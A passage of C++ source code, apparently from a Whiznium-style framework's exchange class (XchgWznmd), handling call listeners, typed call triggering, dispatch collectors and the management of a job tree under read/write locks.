(!clstn) { rwmClstns.wlock("XchgWznmd", "addClstnStmgr", "jref=" + to_string(jref) + ",srefIxWznmVCall=" + VecWznmVCall::getSref(ixWznmVCall)); clstn = new Clstn(cref, Clstn::VecVJactype::LOCK); clstns.insert(pair<clstnref_t,Clstn*>(cref, clstn)); cref2sClstns.insert(pair<clstnref2_t,clstnref_t>(cref2, cref)); rwmClstns.wunlock("XchgWznmd", "addClstnStmgr", "jref=" + to_string(jref) + ",srefIxWznmVCall=" + VecWznmVCall::getSref(ixWznmVCall)); mon.eventAddClstn(jref, "stmgr", VecWznmVCall::getSref(ixWznmVCall), Clstn::VecVJobmask::getSref(Clstn::VecVJobmask::ALL), 0, Arg(), 0, Clstn::VecVJactype::getSref(Clstn::VecVJactype::LOCK)); }; return(clstn); }; Clstn* XchgWznmd::getClstnByCref( const clstnref_t& cref ) { Clstn* clstn = NULL; rwmClstns.rlock("XchgWznmd", "getClstnByCref"); auto it = clstns.find(cref); if (it != clstns.end()) clstn = it->second; rwmClstns.runlock("XchgWznmd", "getClstnByCref"); return clstn; }; void XchgWznmd::getClstnsByJref( const ubigint jref , const uint ixVTarget , vector<uint>& icsWznmVCall , vector<uint>& icsVJobmask ) { Clstn* clstn = NULL; icsWznmVCall.clear(); icsVJobmask.clear(); rwmClstns.rlock("XchgWznmd", "getClstnsByJref", "jref=" + to_string(jref)); auto rng = cref2sClstns.equal_range(clstnref2_t(jref, ixVTarget, 0)); for (auto it = rng.first; it != rng.second; it++) { clstn = getClstnByCref(it->second); if (clstn) { icsWznmVCall.push_back(clstn->cref.ixVCall); icsVJobmask.push_back(clstn->cref.ixVJobmask); }; }; rwmClstns.runlock("XchgWznmd", "getClstnsByJref", "jref=" + to_string(jref)); }; void XchgWznmd::removeClstns( const uint ixWznmVCall , const ubigint jref , const uint ixVTarget ) { rwmClstns.wlock("XchgWznmd", "removeClstns", "jref=" + to_string(jref)); uint ixVJobmask; ubigint jrefTrig; Arg arg; uint ixVSge; uint ixVJactype; auto rng = clstns.equal_range(clstnref_t(ixWznmVCall, jref, ixVTarget)); for (auto it = rng.first; it != rng.second; it++) { ixVJobmask = it->second->cref.ixVJobmask; jrefTrig = it->second->cref.jrefTrig; arg = it->second->cref.arg; ixVSge = it->second->cref.ixVSge; ixVJactype = it->second->ixVJactype; cref2sClstns.erase(clstnref2_t(it->first)); delete it->second; mon.eventRemoveClstn(jref, Clstn::VecVTarget::getSref(ixVTarget), VecWznmVCall::getSref(ixWznmVCall), Clstn::VecVJobmask::getSref(ixVJobmask), jrefTrig, arg, ixVSge, Clstn::VecVJobmask::getSref(ixVJactype)); }; clstns.erase(rng.first, rng.second); rwmClstns.wunlock("XchgWznmd", "removeClstns", "jref=" + to_string(jref)); }; void XchgWznmd::removeClstnsByJref( const ubigint jref , const uint ixVTarget ) { rwmClstns.wlock("XchgWznmd", "removeClstnsByJref", "jref=" + to_string(jref)); uint ixVCall; uint ixVJobmask; ubigint jrefTrig; Arg arg; uint ixVSge; uint ixVJactype; auto rng = cref2sClstns.equal_range(clstnref2_t(jref, ixVTarget)); for (auto it = rng.first; it != rng.second; it++) { auto it2 = clstns.find(it->second); ixVCall = it2->second->cref.ixVCall; ixVJobmask = it2->second->cref.ixVJobmask; jrefTrig = it2->second->cref.jrefTrig; arg = it2->second->cref.arg; ixVSge = it2->second->cref.ixVSge; ixVJactype = it2->second->ixVJactype; delete it2->second; clstns.erase(it2); mon.eventRemoveClstn(jref, Clstn::VecVTarget::getSref(ixVTarget), VecWznmVCall::getSref(ixVCall), Clstn::VecVJobmask::getSref(ixVJobmask), jrefTrig, arg, ixVSge, Clstn::VecVJobmask::getSref(ixVJactype)); }; cref2sClstns.erase(rng.first, rng.second); rwmClstns.wunlock("XchgWznmd", "removeClstnsByJref", "jref=" + to_string(jref)); }; void XchgWznmd::findJrefsByCall( Call* call , vector<ubigint>& jrefTrigs , vector<ubigint>& jrefs , vector<uint>& icsVTarget , vector<uint>& icsVJactype ) { Clstn* clstn = NULL; set<ubigint> jrefsClissrv; ubigint jrefTrig; bool match; rwmJobs.rlock("XchgWznmd", "findJrefsByCall", "jref=" + to_string(call->jref)); rwmClstns.rlock("XchgWznmd", "findJrefsByCall", "jref=" + to_string(call->jref)); jrefsClissrv = getCsjobClisByJref(call->jref); jrefsClissrv.insert(call->jref); auto rng = clstns.equal_range(clstnref_t(call->ixVCall, 0)); for (auto it = rng.first; it != rng.second; it++) { clstn = it->second; jrefTrig = call->jref; if (clstn->cref.ixVTarget == Clstn::VecVTarget::JOB) { match = true; if (clstn->cref.arg.mask & Arg::IX) if (clstn->cref.arg.ix != call->argInv.ix) match = false; if (match) if (clstn->cref.arg.mask & Arg::REF) if (clstn->cref.arg.ref != call->argInv.ref) match = false; if (match) if (clstn->cref.arg.mask & Arg::SREF) if (clstn->cref.arg.sref != call->argInv.sref) match = false; if (match) if (clstn->cref.arg.mask & Arg::INTVAL) if (clstn->cref.arg.intval != call->argInv.intval) match = false; if (match) if (clstn->cref.arg.mask & Arg::DBLVAL) if (clstn->cref.arg.dblval != call->argInv.dblval) match = false; if (match) if (clstn->cref.arg.mask & Arg::BOOLVAL) if (clstn->cref.arg.boolval != call->argInv.boolval) match = false; if (match) if (clstn->cref.arg.mask & Arg::TXTVAL) if (clstn->cref.arg.txtval != call->argInv.txtval) match = false; if (match) if (clstn->cref.ixVSge != 0) if (clstn->cref.ixVSge != jobinfos[clstn->cref.jref]->ixVSge) match = false; if (match) { match = false; if (clstn->cref.ixVJobmask == Clstn::VecVJobmask::ALL) { // don't care about jrefsClissrv match = true; } else if (clstn->cref.ixVJobmask == Clstn::VecVJobmask::IMM) { for (auto it = jrefsClissrv.begin(); it != jrefsClissrv.end(); it++) { // check if trigger job is immediate sub-job to listener job if (clstn->cref.jref == jobinfos[*it]->jrefSup) { jrefTrig = *it; match = true; break; }; }; } else if (clstn->cref.ixVJobmask == Clstn::VecVJobmask::SELF) { // check if trigger job is equivalent to listener job if (clstn->cref.jref == call->jref) match = true; } else if (clstn->cref.ixVJobmask == Clstn::VecVJobmask::SPEC) { for (auto it = jrefsClissrv.begin(); it != jrefsClissrv.end(); it++) { // require specific jref if (clstn->cref.jrefTrig == (*it)) { jrefTrig = *it; match = true; break; }; }; } else if (clstn->cref.ixVJobmask == Clstn::VecVJobmask::TREE) { if (clstn->cref.jref == call->jref) match = true; else { for (auto it = jrefsClissrv.begin(); it != jrefsClissrv.end(); it++) { // check if trigger job is down the tree from listener job if (getJobSup(clstn->cref.jref, *it)) { jrefTrig = *it; match = true; break; }; }; }; }; }; if (match) { jrefTrigs.push_back(jrefTrig); jrefs.push_back(clstn->cref.jref); icsVTarget.push_back(clstn->cref.ixVTarget); icsVJactype.push_back(clstn->ixVJactype); }; } else if (clstn->cref.ixVTarget == Clstn::VecVTarget::STMGR) { jrefTrigs.push_back(jrefTrig); jrefs.push_back(clstn->cref.jref); icsVTarget.push_back(clstn->cref.ixVTarget); icsVJactype.push_back(0); } else { // targets DDSPUB and UASRV match = true; if (clstn->cref.arg.mask & Arg::SREF) if (clstn->cref.arg.sref != call->argInv.sref) match = false; if (match) if (clstn->cref.ixVJobmask == Clstn::VecVJobmask::SPEC) { match = false; for (auto it = jrefsClissrv.begin(); it != jrefsClissrv.end(); it++) { // require specific jref if (clstn->cref.jrefTrig == (*it)) { jrefTrig = *it; match = true; break; }; }; }; if (match) { jrefTrigs.push_back(jrefTrig); jrefs.push_back(clstn->cref.jref); icsVTarget.push_back(clstn->cref.ixVTarget); icsVJactype.push_back(0); }; }; }; rwmClstns.runlock("XchgWznmd", "findJrefsByCall", "jref=" + to_string(call->jref)); rwmJobs.runlock("XchgWznmd", "findJrefsByCall", "jref=" + to_string(call->jref)); }; void XchgWznmd::triggerCall( DbsWznm* dbswznm , Call* call ) { vector<ubigint> jrefTrigs; vector<ubigint> jrefs; vector<uint> icsVTarget; vector<uint> icsVJactype; uint ixVTarget; ubigint jref; uint ixVJactype; JobWznm* job = NULL; StmgrWznm* stmgr = NULL; ubigint eref; Arg argRet_old; eref = mon.eventTriggerCall(call->jref, VecWznmVCall::getSref(call->ixVCall), call->argInv); findJrefsByCall(call, jrefTrigs, jrefs, icsVTarget, icsVJactype); for (unsigned int i = 0; i < jrefs.size(); i++) { call->jref = jrefTrigs[i]; jref = jrefs[i]; ixVTarget = icsVTarget[i]; ixVJactype = icsVJactype[i]; if (ixVTarget == Clstn::VecVTarget::JOB) { job = getJobByJref(jref); if (job) { if (ixVJactype != Clstn::VecVJactype::WEAK) { if (ixVJactype == Clstn::VecVJactype::LOCK) { job->lockAccess("XchgWznmd", "triggerCall"); } else if (ixVJactype == Clstn::VecVJactype::TRY) { if (!job->trylockAccess("XchgWznmd", "triggerCall")) continue; }; }; mon.eventHandleCall(eref, jref); argRet_old = call->argRet; job->handleCall(dbswznm, call); if (call->argRet != argRet_old) mon.eventRetCall(eref, jref, call->argRet); }; if (ixVJactype != Clstn::VecVJactype::WEAK) { job = getJobByJref(jref); if (job) job->unlockAccess("XchgWznmd", "triggerCall"); }; } else if (ixVTarget == Clstn::VecVTarget::STMGR) { stmgr = getStmgrByJref(jref); if (stmgr) { mon.eventHandleCall(eref, jref); argRet_old = call->argRet; stmgr->handleCall(dbswznm, call); if (!(call->argRet == argRet_old)) mon.eventRetCall(eref, jref, call->argRet); stmgr->unlockAccess("XchgWznmd", "triggerCall"); }; }; if (call->abort) break; }; mon.eventFinalizeCall(eref); }; bool XchgWznmd::triggerArgToArgCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const Arg& argInv , Arg& argRet ) { Call* call; ubigint retval; call = new Call(ixWznmVCall, jref, argInv); triggerCall(dbswznm, call); argRet = call->argRet; retval = call->abort; delete call; return retval; }; bool XchgWznmd::triggerCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref ) { Arg argInv; Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerIxCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv ) { Arg argInv(ixInv, 0, {}, "", 0, 0.0, false, "", Arg::IX); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerRefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const ubigint refInv ) { Arg argInv(0, refInv, {}, "", 0, 0.0, false, "", Arg::REF); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerIntvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const int intvalInv ) { Arg argInv(0, 0, {}, "", intvalInv, 0.0, false, "", Arg::INTVAL); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerBoolvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const bool boolvalInv ) { Arg argInv(0, 0, {}, "", 0, 0.0, boolvalInv, "", Arg::BOOLVAL); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerIxRefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const ubigint refInv ) { Arg argInv(ixInv, refInv, {}, "", 0, 0.0, false, "", Arg::IX + Arg::REF); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerIxSrefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const string& srefInv ) { Arg argInv(ixInv, 0, {}, srefInv, 0, 0.0, false, "", Arg::IX + Arg::SREF); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerIxSrefToIxCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const string& srefInv , uint& ixRet ) { bool retval; Arg argInv(ixInv, 0, {}, srefInv, 0, 0.0, false, "", Arg::IX + Arg::SREF); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) ixRet = argRet.ix; return retval; }; bool XchgWznmd::triggerIxIntvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const int intvalInv ) { Arg argInv(ixInv, 0, {}, "", intvalInv, 0.0, false, "", Arg::IX + Arg::INTVAL); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerIxDblvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const double dblvalInv ) { Arg argInv(ixInv, 0, {}, "", 0, dblvalInv, false, "", Arg::IX + Arg::DBLVAL); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerIxTxtvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const string& txtvalInv ) { Arg argInv(ixInv, 0, {}, "", 0, 0.0, false, txtvalInv, Arg::IX + Arg::TXTVAL); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerSrefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const string& srefInv ) { Arg argInv(0, 0, {}, srefInv, 0, 0.0, false, "", Arg::SREF); Arg argRet; return(triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet)); }; bool XchgWznmd::triggerToBoolvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , bool& boolvalRet ) { bool retval; Arg argInv; Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) boolvalRet = argRet.boolval; return(retval); }; bool XchgWznmd::triggerIxToBoolvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , bool& boolvalRet ) { bool retval; Arg argInv(ixInv, 0, {}, "", 0, 0.0, false, "", Arg::IX); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) boolvalRet = argRet.boolval; return(retval); }; bool XchgWznmd::triggerRefToSrefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const ubigint refInv , string& srefRet ) { bool retval; Arg argInv(0, refInv, {}, "", 0, 0.0, false, "", Arg::REF); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) srefRet = argRet.sref; return(retval); }; bool XchgWznmd::triggerRefToBoolvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const ubigint refInv , bool& boolvalRet ) { bool retval; Arg argInv(0, refInv, {}, "", 0, 0.0, false, "", Arg::REF); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) boolvalRet = argRet.boolval; return(retval); }; bool XchgWznmd::triggerIxRefToIxCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const ubigint refInv , uint& ixRet ) { bool retval; Arg argInv(ixInv, refInv, {}, "", 0, 0.0, false, "", Arg::IX + Arg::REF); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) ixRet = argRet.ix; return(retval); }; bool XchgWznmd::triggerIxRefToRefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const ubigint refInv , ubigint& refRet ) { bool retval; Arg argInv(ixInv, refInv, {}, "", 0, 0.0, false, "", Arg::IX + Arg::REF); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) refRet = argRet.ref; return(retval); }; bool XchgWznmd::triggerIxRefSrefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const ubigint refInv , const string& srefInv ) { bool retval; Arg argInv(ixInv, refInv, {}, srefInv, 0, 0.0, false, "", Arg::IX + Arg::REF + Arg::SREF); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); return(retval); }; bool XchgWznmd::triggerIxRefSrefIntvalCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const ubigint refInv , const string& srefInv , const int intvalInv ) { bool retval; Arg argInv(ixInv, refInv, {}, srefInv, intvalInv, 0.0, false, "", Arg::IX + Arg::REF + Arg::SREF + Arg::INTVAL); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); return(retval); }; bool XchgWznmd::triggerIxRefSrefIntvalToRefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const uint ixInv , const ubigint refInv , const string& srefInv , const int intvalInv , ubigint& refRet ) { bool retval; Arg argInv(ixInv, refInv, {}, srefInv, intvalInv, 0.0, false, "", Arg::IX + Arg::REF + Arg::SREF + Arg::INTVAL); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) refRet = argRet.ref; return(retval); }; bool XchgWznmd::triggerRefToIxCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const ubigint refInv , uint& ixRet ) { bool retval; Arg argInv(0, refInv, {}, "", 0, 0.0, false, "", Arg::REF); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) ixRet = argRet.ix; return(retval); }; bool XchgWznmd::triggerSrefToRefCall( DbsWznm* dbswznm , const uint ixWznmVCall , const ubigint jref , const string& srefInv , ubigint& refRet ) { bool retval; Arg argInv(0, 0, {}, srefInv, 0, 0.0, false, "", Arg::SREF); Arg argRet; retval = triggerArgToArgCall(dbswznm, ixWznmVCall, jref, argInv, argRet); if (!retval) refRet = argRet.ref; return(retval); }; DcolWznm* XchgWznmd::addDcol( const ubigint jref ) { JobWznm* job = NULL; DcolWznm* dcol = NULL; // create new dcol and append to dcol list rwmJobs.rlock("XchgWznmd", "addDcol", "jref=" + to_string(jref)); job = getJobByJref(jref); if (job) { dcol = getDcolByJref(jref); if (!dcol) { rwmDcols.wlock("XchgWznmd", "addDcol", "jref=" + to_string(jref)); dcol = new DcolWznm(jref, job->ixWznmVLocale); dcols[jref] = dcol; dcol->lockAccess("XchgWznmd", "addDcol"); rwmDcols.wunlock("XchgWznmd", "addDcol", "jref=" + to_string(jref)); mon.eventAddDcol(jref); }; }; rwmJobs.runlock("XchgWznmd", "addDcol", "jref=" + to_string(jref)); // make dcol the session's active notify dcol triggerIxRefCall(NULL, VecWznmVCall::CALLWZNMREFPRESET, jref, VecWznmVPreset::PREWZNMJREFNOTIFY, jref); return(dcol); }; DcolWznm* XchgWznmd::getDcolByJref( ubigint jref , const bool tree ) { Jobinfo* jobinfo = NULL; DcolWznm* dcol = NULL; rwmJobs.rlock("XchgWznmd", "getDcolByJref", "jref=" + to_string(jref)); rwmDcols.rlock("XchgWznmd", "getDcolByJref", "jref=" + to_string(jref)); jobinfo = getJobinfoByJref(jref); while (jobinfo != NULL) { auto it = dcols.find(jref); if (it != dcols.end()) { dcol = it->second; dcol->lockAccess("XchgWznmd", "getDcolByJref"); break; }; if (!tree) break; jref = jobinfo->jrefSup; jobinfo = getJobinfoByJref(jref); }; rwmDcols.runlock("XchgWznmd", "getDcolByJref", "jref=" + to_string(jref)); rwmJobs.runlock("XchgWznmd", "getDcolByJref", "jref=" + to_string(jref)); return(dcol); }; void XchgWznmd::removeDcolByJref( const ubigint jref ) { rwmDcols.wlock("XchgWznmd", "removeDcolByJref", "jref=" + to_string(jref)); auto it = dcols.find(jref); if (it != dcols.end()) { delete it->second; dcols.erase(it); mon.eventRemoveDcol(jref); }; rwmDcols.wunlock("XchgWznmd", "removeDcolByJref", "jref=" + to_string(jref)); }; void XchgWznmd::removeDcolsByJref( const ubigint jref ) { Jobinfo* jobinfo = NULL; vector<ubigint> jrefs; rwmJobs.rlock("XchgWznmd", "removeDcolsByJref", "jref=" + to_string(jref)); rwmDcols.wlock("XchgWznmd", "removeDcolsByJref", "jref=" + to_string(jref)); jrefs.push_back(jref); // sub-tree without recursion for (unsigned int i = 0; i < jrefs.size(); i++) { jobinfo = getJobinfoByJref(jrefs[i]); if (jobinfo) for (auto it = jobinfo->jrefsSub.begin(); it != jobinfo->jrefsSub.end(); it++) jrefs.push_back(*it); }; for (unsigned int i = 0; i < jrefs.size(); i++) { auto it = dcols.find(jrefs[i]); if (it != dcols.end()) { delete it->second; dcols.erase(it); mon.eventRemoveDcol(jrefs[i]); }; }; rwmDcols.wunlock("XchgWznmd", "removeDcolsByJref", "jref=" + to_string(jref)); rwmJobs.runlock("XchgWznmd", "removeDcolsByJref", "jref=" + to_string(jref)); }; void XchgWznmd::submitDpch( DpchEngWznm* dpcheng ) { DcolWznm* dcol = NULL; Cond* cReady_backup; DpchEngWznm* dpchtest; // find dcol in charge dcol = getDcolByJref(dpcheng->jref); if (dcol) { mon.eventSubmitDpch(dpcheng->jref, VecWznmVDpch::getSref(dpcheng->ixWznmVDpch), dpcheng->getSrefsMask(), ""); if (dcol->req != NULL) { // a request is waiting delete dcol->req->dpcheng; dcol->req->dpcheng = dpcheng; cReady_backup = &(dcol->req->cReady); dcol->req = NULL; //cout << "XchgWznmd::submitDpch() waiting request for ixWznmVDpch = " << dpcheng->ixWznmVDpch << ", jref = " << dpcheng->jref << endl; cReady_backup->signal("XchgWznmd", "submitDpch", "jref=" + to_string(dcol->jref)); dcol->unlockAccess("XchgWznmd", "submitDpch"); } else { // merge with similar dispatch if available for (auto it = dcol->dpchs.begin(); it != dcol->dpchs.end();) { dpchtest = *it; if ((dpchtest->ixWznmVDpch == dpcheng->ixWznmVDpch) && (dpchtest->jref == dpcheng->jref)) { dpchtest->merge(dpcheng); //cout << "XchgWznmd::submitDpch() merge for ixWznmVDpch = " << dpcheng->ixWznmVDpch << ", jref = " << dpcheng->jref << endl; delete dpcheng; dpcheng = NULL; break; } else it++; }; // append to list of dispatches if (dpcheng) { dcol->dpchs.push_back(dpcheng); //cout << "XchgWznmd::submitDpch() append for ixWznmVDpch = " << dpcheng->ixWznmVDpch << ", jref = " << dpcheng->jref << endl; }; dcol->unlockAccess("XchgWznmd", "submitDpch"); }; } else { delete dpcheng; }; }; DpchEngWznm* XchgWznmd::pullFirstDpch( DcolWznm* dcol ) { DpchEngWznm* dpcheng = NULL; // get first element from list ; assume access is locked if (!dcol->dpchs.empty()) { dpcheng = *(dcol->dpchs.begin()); dcol->dpchs.pop_front(); }; return dpcheng; }; ubigint XchgWznmd::addJob( DbsWznm* dbswznm , JobWznm* job , const ubigint jrefSup ) { CsjobWznm* csjob = NULL; Csjobinfo* csjobinfo = NULL; bool csjobNotJob = getCsjobNotJob(job->ixWznmVJob); bool srvNotCli = false; // get new jref and append to job list rwmJobs.wlock("XchgWznmd", "addJob", "jrefSup=" + to_string(jrefSup)); job->jref = jrefseq.getNewRef(); jobs[job->jref] = job; if (jobs.size() == 1) { // root job jrefRoot = job->jref; jrefCmd = job->jref; }; ixWznmVJobs[job->jref] = job->ixWznmVJob; jobinfos[job->jref] = new Jobinfo(jrefSup); if (jrefSup != 0) jobinfos[jrefSup]->jrefsSub.insert(job->jref); if (csjobNotJob) { rwmCsjobinfos.wlock("XchgWznmd", "addJob", "jref=" + to_string(job->jref)); csjob = (CsjobWznm*) job; csjobinfo = csjobinfos[job->ixWznmVJob]; if (jrefSup == jrefRoot) { csjob->srvNotCli = true; srvNotCli = true; csjobinfo->jrefSrv = job->jref; for (auto it = csjobinfo->jrefsCli.begin(); it != csjobinfo->jrefsCli.end(); it++) { jobs[*it]->ixVSge = job->ixVSge; ((CsjobWznm*) (jobs[*it]))->srv = csjob; }; } else { csjob->srvNotCli = false; if (csjobinfo->jrefSrv != 0) { job->ixVSge = jobs[csjobinfo->jrefSrv]->ixVSge; csjob->srv = (CsjobWznm*) jobs[csjobinfo->jrefSrv]; }; csjobinfo->jrefsCli.insert(job->jref); }; rwmCsjobinfos.wunlock("XchgWznmd", "addJob", "jref=" + to_string(job->jref)); }; rwmJobs.wunlock("XchgWznmd", "addJob", "jref=" + to_string(job->jref)); mon.eventAddJob(jrefSup, VecWznmVJob::getSref(job->ixWznmVJob), job->jref, csjobNotJob, srvNotCli); return(job->jref); }; JobWznm* XchgWznmd::getJobByJref( const ubigint jref ) { JobWznm* job = NULL; rwmJobs.rlock("XchgWznmd", "getJobByJref", "jref=" + to_string(jref)); auto it = jobs.find(jref); if (it != jobs.end()) job = it->second; rwmJobs.runlock("XchgWznmd", "getJobByJref", "jref=" + to_string(jref)); return job; }; Jobinfo* XchgWznmd::getJobinfoByJref( const ubigint jref ) { Jobinfo* jobinfo = NULL; rwmJobs.rlock("XchgWznmd", "getJobinfoByJref", "jref=" + to_string(jref)); auto it = jobinfos.find(jref); if (it != jobinfos.end()) jobinfo = it->second; rwmJobs.runlock("XchgWznmd", "getJobinfoByJref", "jref=" + to_string(jref)); return jobinfo; }; void XchgWznmd::removeJobByJref( const ubigint jref ) { JobWznm* job = NULL; Jobinfo* jobinfo = NULL; CsjobWznm* csjob = NULL; Csjobinfo* csjobinfo = NULL; bool csjobNotJob; rwmJobs.rlock("XchgWznmd", "removeJobByJref[1]", "jref=" + to_string(jref)); job = getJobByJref(jref); if (job) { csjobNotJob = getCsjobNotJob(job->ixWznmVJob); job->invalidateWakeups(); removePresetsByJref(jref); removeStmgrByJref(jref); removeClstnsByJref(jref); removeDcolByJref(jref); if (csjobNotJob) { rwmCsjobinfos.rlock("XchgWznmd", "removeJobByJref[1]", "jref=" + to_string(jref)); csjob = (CsjobWznm*) job; csjobinfo = csjobinfos[job->ixWznmVJob]; removeCsjobClaim(NULL, csjob); rwmCsjobinfos.runlock("XchgWznmd", "removeJobByJref[1]", "jref=" + to_string(jref)); rwmCsjobinfos.wlock("XchgWznmd", "removeJobByJref[2]", "jref=" + to_string(jref)); if (csjob->srvNotCli) { csjobinfo->jrefSrv = 0; for (auto it = csjobinfo->jrefsCli.begin(); it != csjobinfo->jrefsCli.end(); it++) ((CsjobWznm*) (jobs[*it]))->srv = NULL; } else csjobinfo->jrefsCli.erase(jref); rwmCsjobinfos.wunlock("XchgWznmd", "removeJobByJref[2]", "jref=" + to_string(jref)); }; jobinfo = jobinfos[jref]; rwmJobs.runlock("XchgWznmd", "removeJobByJref[1]", "jref=" + to_string(jref)); rwmJobs.wlock("XchgWznmd", "removeJobByJref[2]", "jref=" + to_string(jref)); if (jobinfo->jrefSup != 0) jobinfos[jobinfo->jrefSup]->jrefsSub.erase(jref); rwmJobs.wunlock("XchgWznmd", "removeJobByJref[2]", "jref=" + to_string(jref)); while (jobinfo->jrefsSub.size() > 0) delete jobs[*(jobinfo->jrefsSub.begin())]; rwmJobs.wlock("XchgWznmd", "removeJobByJref[3]", "jref=" + to_string(jref)); // remove job from list only here otherwise sub-job delete will loop forever jobs.erase(jref); delete jobinfo; jobinfos.erase(jref); ixWznmVJobs.erase(jref); if (jobs.empty()) { // root job jrefRoot = 0; jrefCmd = 0; }; rwmJobs.wunlock("XchgWznmd", "removeJobByJref[3]", "jref=" + to_string(jref)); mon.eventRemoveJob(jref); } else rwmJobs.wunlock("XchgWznmd", "removeJobByJref[4]", "jref=" + to_string(jref)); }; bool XchgWznmd::getJobSup( const ubigint jrefSup , ubigint jref ) { bool retval = false; Jobinfo* jobinfo = NULL; jobinfo = getJobinfoByJref(jref); while (jobinfo) { if (jobinfo->jrefSup == jrefSup) { retval = true; break; }; jref = jobinfo->jrefSup; jobinfo = getJobinfoByJref(jref); }; return retval; }; void XchgWznmd::setJobStage( DbsWznm* dbswznm , JobWznm* job , const uint ixVSge ) { set<ubigint> jrefsCli; bool csjobNotJob = getCsjobNotJob(job->ixWznmVJob); rwmJobs.rlock("XchgWznmd", "setJobStage", "jref=" + to_string(job->jref)); if (csjobNotJob) rwmCsjobinfos.rlock("XchgWznmd", "setJobStage", "jref=" + to_string(job->jref)); jobinfos[job->jref]->ixVSge = ixVSge; job->ixVSge = ixVSge; if (csjobNotJob) { jrefsCli = getCsjobClisByJref(job->jref); for (auto it = jrefsCli.begin(); it != jrefsCli.end(); it++) { jobinfos[*it]->ixVSge = ixVSge; jobs[*it]->ixVSge = ixVSge; }; }; if (csjobNotJob) rwmCsjobinfos.runlock("XchgWznmd", "setJobStage", "jref=" + to_string(job->jref)); rwmJobs.runlock("XchgWznmd", "setJobStage", "jref=" + to_string(job->jref)); triggerIxCall(dbswznm, VecWznmVCall::CALLWZNMSGECHG, job->jref, ixVSge); }; void XchgWznmd::addCsjobClaim( DbsWznm* dbswznm , CsjobWznm* csjob , Claim* claim ) { Csjobinfo* csjobinfo = NULL;; bool mod; if (!csjob->srvNotCli && csjob->srv) { rwmCsjobinfos.rlock("XchgWznmd", "addCsjobClaim", "jref=" + to_string(csjob->jref)); csjobinfo = csjobinfos[csjob->ixWznmVJob]; rwmCsjobinfos.runlock("XchgWznmd", "addCsjobClaim", "jref=" + to_string(csjob->jref)); csjob->srv->lockAccess("XchgWznmd", "addCsjobClaim"); csjobinfo->mClaims.wlock("XchgWznmd", "addCsjobClaim", "jref=" + to_string(csjob->jref)); auto it = csjobinfo->claims.find(csjob->jref); if (it != csjobinfo->claims.end()) delete it->second; csjobinfo->claims[csjob->jref] = claim; mod = csjob->srv->handleClaim(dbswznm, csjobinfo->claims, csjob->jref); csjobinfo->mClaims.wunlock("XchgWznmd", "addCsjobClaim", "jref=" + to_string(csjob->jref)); 